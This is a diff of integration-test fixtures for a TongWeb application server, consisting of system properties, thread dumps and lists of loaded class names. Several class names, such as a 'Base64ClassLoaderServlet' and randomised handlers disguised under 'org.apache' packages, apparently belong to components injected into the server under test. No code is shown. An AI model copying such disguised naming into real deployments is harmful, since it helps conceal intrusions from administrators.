+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-8" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"http-nio-0.0.0.0-8080-exec-10" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1261,7 +1279,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-8" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-8443-exec-6" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1274,23 +1292,56 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-2" #158 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4803b3f2
+"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #77 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520)
+ at java.lang.Thread.run(Thread.java:750)
+
+"DefaultQuartzScheduler_Worker-4" #145 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
at java.lang.Object.wait(Native Method)
at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-"JCA-default-thread-pool-worker-9" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"snapshot" #161 daemon [TIMED_WAITING] on java.util.TaskQueue@133fd1a
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"ajp-bio-8009-exec-8" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-ClientPoller-0" #114 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-1" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"NioBlockingSelector.BlockPoller-1" #21 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"ajp-bio-8009-exec-4" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1303,43 +1354,20 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-7" #163 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@13b86d4b
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-
-"Thread-47" #168 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19bbd208
- java.lang.Thread.State: TIMED_WAITING
+"ajp-bio-8009-exec-5" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
+ java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"RMI TCP Connection(2)-192.168.215.5" #19 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-3" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"WebSocketClient-AsyncIO-3" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1351,26 +1379,42 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-10" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"DefaultQuartzScheduler_Worker-10" #151 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@60c4843e
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"http-nio-0.0.0.0-9060-exec-9" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-8" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"Thread-47" #162 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@734a1725
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread.run(WebWarnUtil.java:167)
+
+"http-nio-0.0.0.0-9060-exec-8" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
@@ -1380,13 +1424,22 @@ ThreadStacks:
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.tongweb.config.ConfigTool
+com.tongweb.deploy.TongWebDeployer
+com.tongweb.deploy.autodeploy.TongWebAutoDeployTask
+com.tongweb.deploy.autodeploy.TongWebAutoDeployer
+com.tongweb.deploy.commands.DeployCommand
+com.tongweb.deploy.util.DeployConfigUtil
com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread
com.tongweb.monitor.persistence.TimerThread
-com.tongweb.monitor.persistence.util.IoPool$FileWriterThread
com.tongweb.netty.channel.nio.NioEventLoop
com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator
com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2
+com.tongweb.quartz.core.JobRunShell
com.tongweb.quartz.core.QuartzSchedulerThread
+com.tongweb.quartz.simpl.PropertySettingJobFactory
com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread
com.tongweb.twnt.thor.OpenEJBValve
com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler
@@ -1417,4 +1470,4 @@ com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor
com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor
com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker
com.tongweb.web.webutil.util.threads.TaskQueue
-org.apache.usbUm.ErrorHandler
+org.apache.http.client.spzga.ErrorKewjvHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..b7674df1
--- /dev/null
+++ b/integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt
@@ -0,0 +1,1471 @@
+# Generated At 2019-05-31 12:30:26
+SystemProps:
+java.vendor: Temurin
+sun.java.launcher: SUN_STANDARD
+sun.nio.ch.bugLevel:
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl
+catalina.useNaming: true
+os.name: Linux
+sun.boot.class.path: /opt/tweb6/lib/endorsed/validation-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
+com.tongweb.web.thor.startup.ContextConfig.jarsToSkip:
+java.vm.specification.vendor: Oracle Corporation
+java.runtime.version: 1.8.0_492-b09
+org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+user.name: root
+shared.loader: ${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/,${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/
+tongweb.built: 2019.01.22
+tongweb.home: /opt/tweb6
+java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextFactory
+user.language: en
+derby.system.home: /opt/tweb6
+ibm.stream.nio: true
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
+openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler
+openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory
+openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory
+tongweb.java: /opt/java/openjdk
+openejb.offline: false
+java.version: 1.8.0_492
+java.util.logging.manager: com.tongweb.log.TongwebLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: false
+sun.arch.data.model: 64
+tongweb.util.buf.StringCache.byte.enabled: true
+tongweb.upload: /opt/tweb6/temp/upload
+java.endorsed.dirs: /opt/tweb6/lib/endorsed
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+package.access: sun.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper.
+file.separator: /
+java.specification.name: Java Platform API Specification
+tongweb.snapshotinhour: 5
+java.class.version: 52.0
+user.country: US
+java.home: /opt/java/openjdk/jre
+java.vm.info: mixed mode
+os.version: 6.8.0-111-generic
+openejb.embedder.source: ThorServerListener
+sun.font.fontmanager: sun.awt.X11FontManager
+tongweb.sysapp: /opt/tweb6/applications
+path.separator: :
+java.vm.version: 25.492-b09
+openejb.configurator: com.tongweb.tongejb.config.ThorConfigurationFactory
+tongweb.util.scan.DefaultJarScanner.jarsToSkip: openejb-rest,openwebbeans-,httpcore-,ant-launcher.jar,rmock-,ecj-,xml-apis-,shrinkwrap-,mlibwrapper_jai.jar,arquillian-core-api-,lucene-analyzers-,quartz-,slf4j,myfaces-api,webbeans-ejb,jhall.jar,openejb-jpa-integration,commons-logging-api-,jmx.jar,jsp-api,org.osgi.core-,arquillian-test-spi,jboss-,hibernate,org.eclipse.,ant-junit,pax-,xalan-,commons-codec,jta,idb-,openejb-cxf-transport,wss4j-,commons-io-,cglib-,xmlschema-,gragent.jar,xercesImpl-,hamcrest-,swizzle-,commons-cli-,XmlSchema-,opensaml-,access-bridge-64.jar,servlet-api-,activation-,javaws.jar,commons-math,activemq-,xml-resolver-,commons-logging-,woodstox-core-asl-,sunjce_provider.jar,howl-,jmx-tools.jar,xmlsec-,cssparser-,openejb-derby,jsr299-,arquillian-common,eclipselink-,jstl.jar,htmlunit-,saaj-,surefire-,guice-,serp-,openejb-cxf-bundle,aether-,groovy-,wagon-,commons-daemon.jar,avalon-framework-,openejb-openwebbeans,sisu-inject,jsp-api.jar,jcommander-,openejb-jstl,hawtjni-runtime,commons-fileupload,CoreAudio.jar,aspectj,jettison-,h2,jasypt-,sac-,commons-httpclient-,arquillian-test-impl-base,arquillian-config-,sunmscapi.jar,arquillian-core-spi-,stax-api-,pulse-java.jar,sshd-,openejb-core,jai_codec.jar,log4j,j3dcore.jar,ziplock-,log4j-,openejb-ejbd,hawtbuf-,commons-codec-,zipfs.jar,openws-,oro-,testng-,jaccess.jar,idea_rt.jar,jmdns-,arquillian-tomee-,mbean-annotation-api-,ant.jar,httpclient,bval-core,commons-lang3-,j3dutils.jar,commons-digester-,jai_core.jar,openjpa-,commons-lang,geronimo-spec-jaxrpc,sisu-guice,catalina-,commons-dbcp-all-1.3-,bval-jsr,jbossjts-,j3daudio.jar,openejb-api,jbossall-,commons-pool,axis-,gnome-java-bridge.jar,openejb-loader,bootstrap.jar,juli-,xercesImpl.jar,leveldb,tongweb-collections,servlet-api.jar,activeio-,bcprov-,jsr311-,logkit-,commons-pool-,ApacheJMeter,httpclient-,myfaces-impl,dom4j-,commons-net-,aopalliance-,arquillian-junit-,google-,jansi-,joda-time-,dns_sd.jar,hawtdispatch-,javaee-api,jline,xbean-,sunec.jar,velocity-,jbosssx-,lucene-core-,openejb-webservices,derbynet-,icu4j-,commons-beanutils,arquillian-container-,derby-,xmlrpc-,apple_provider.jar,xml-apis.jar,vecmath.jar,jbosscx-,webbeans-ee,openejb-javaagent,hsqldb-,junit-,localedata.jar,openejb-jsf,mail,org.junit.,jsoup-,el-api.jar,tongweb-collections-,commons-dbcp,maven-,ops4j-,plexus-,commons-io,wsdl4j,mina-,MRJToolkit.jar,cxf-,mimepull-,jersey-,commons-discovery-,commons-logging,ldapsec.jar,jaxp-,webbeans-spi,AppleScriptEngine.jar,derbyclient-,wsdl4j-,tools.jar,openejb-hsql,jetty-,openejb-server,snappy-java-,openejb-cxf,javaee-,openejb-jee,jasper-el.jar,hibernate-,arquillian-core-impl-base,scannotation-,nekohtml-,slf4j-,c3p0-,commons-digester,openejb-cxf-rs,openejb-provisionning,jasper.jar,commons-lang-,javassist-,arquillian-test-api,openejb-http,serializer-,junit.jar,axis2-,dnsns.jar,mqtt-client-,xmlParserAPIs.jar,openejb-client,commons-httpclient,kahadb-,antlr-,deploy.jar,neethi-,jackson-mapper-asl-,webbeans-impl,annotations-api.jar,jaxb-,sunpkcs11.jar,xmlunit-,fusemq-leveldb-,wstx-asl-,geronimo-,gson,xmltooling-
+java.awt.printerjob: sun.print.PSPrinterJob
+java.security.policy: /opt/tweb6/conf/tongweb.policy
+sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
+awt.toolkit: sun.awt.X11.XToolkit
+tongweb.base: /opt/tweb6
+package.definition: sun.,java.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper.
+TW_ORGINAL_SECURITY_LOGIN_CONFIG: /opt/tweb6/conf/security/login.config
+tongweb.app: /opt/tweb6/deployment
+java.naming.factory.url.pkgs: com.tongweb.web.naming.tongweb:com.tongweb.tongejb.core.ivm.naming
+openejb.home: /opt/tweb6
+java.security.egd: file:/dev/./urandom
+user.home: /root
+java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
+openejb.version: 1.0.0
+java.specification.vendor: Oracle Corporation
+java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: https://adoptium.net/
+java.vm.vendor: Temurin
+common.loader: ${tongweb.base}/lib,${tongweb.base}/lib/*.jar,${tongweb.base}/lib,${tongweb.base}/lib/*.jar
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
+java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb6/lib/launcher.jar:/opt/tweb6/lib/tongejb-javaagent.jar
+com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl
+com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
+java.vm.specification.name: Java Virtual Machine Specification
+java.vm.specification.version: 1.8
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /opt/tweb6/temp
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
+switchCharacterEncoding: false
+server.loader:
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
+tongweb.jndi.lookup.relaxVersion: false
+user.dir: /opt/tweb6
+tongweb.poseidon.master.home: /opt/tweb6/applications/heimdall/
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+java.security.auth.login.config: /opt/tweb6/conf/security/login.config
+tongweb.version: 6.1.5.8
+openejb.base: /opt/tweb6
+isServerMode: true
+openejb.jsf.skip: false
+file.encoding: UTF-8
+com.tongweb.web.thor.startup.TldConfig.jarsToSkip:
+noBanner: true
+java.specification.version: 1.8
+master.path: /opt/tweb6
+
+===========================================
+
+ThreadStacks:
+"http-nio-8443-exec-6" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-8" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-2" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-1" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-AsyncTimeout" #118 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149)
